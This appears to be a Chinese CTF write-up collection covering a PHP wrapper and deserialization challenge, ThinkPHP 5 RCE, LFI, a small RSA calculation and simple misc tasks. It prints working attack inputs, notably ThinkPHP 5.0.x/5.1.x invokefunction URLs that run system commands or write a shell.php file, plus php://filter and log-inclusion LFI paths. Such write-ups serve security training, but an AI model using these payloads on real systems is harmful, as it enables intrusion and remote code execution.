文章目录
WEB [ZJCTF 2019]NiZhuanSiWei
三个参数 text,file,password,先看逻辑,要text和welcome to the zjctf相等,才能进入if,否则只是高亮本文件。
涉及到data伪协议
?text=data:text/plain,welcome to the zjctf
php://input
?file=php://filter/convert.base64-encode/resource=flag.php 做任意文件读写
提示存在useless.php,读取看看
base64,解码
得到
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
是一个类,我们返回看一开始的代码
如果file没有匹配到flag,那就会进入else,通过包含unless.php这个文件,生成一个Flag类的对象,就可以让password得到这个参数,之后反序列化得到flag
O:4:“Flag”:1:{s:4:“file”;N;} 增加一个flag.php变成
O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
这样就能读取flag.php的内容
注意这里要是file=useless.php,因为之前我们是在读取源码,这里不需要读了,只要包含就行。
查看源码
讲一下为什么会触发
public string __toString ( void )
__toString() 方法用于一个类被当成字符串时应怎样回应
需要指出的是在 PHP 5.2.0 之前,__toString() 方法只有在直接使用于 echo 或 print 时才能生效。PHP
5.2.0 之后,则可以在任何字符串环境生效(例如通过 printf(),使用 %s 修饰符),但不能用于非字符串环境(如使用 %d 修饰符)。自 PHP 5.2.0 起,如果将一个未定义 __toString() 方法的对象转换为字符串,会产生
E_RECOVERABLE_ERROR 级别的错误。
所以是在echo $password的时候触发flag.php
REAL [ThinkPHP]5-Rce
Think-PHP5 REC
5.0.7~5.0.23:
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 # 将执行phpinfo()
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令 (如 dir whoami)
5.1.x:
?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
RE [BJDCTF 2nd]guessgame
打开,shift+f12 找到flag
Crypto RSA
写个python脚本
先安装rsa模块
cmd里pip3 install rsa
import gmpy2
import rsa
e = 17
n = 2135733555619387051
p = 473398607161
q = 4511491
z = (p-1) * (q-1)
d = gmpy2.invert(e,z)
print ("d=", d)
完成
Basic BUU LFI COURSE 1
根据题目LFI COURSE
试一下文件包含
?file=/flag
?file=/var/log/nginx/access.log :包含ngnix的日志记录
MISC BJDCTF 2nd]圣火昭昭-y1ng
右键,图片属性,找到佛曰
百度佛曰
解密
得到flag
PWN
摸了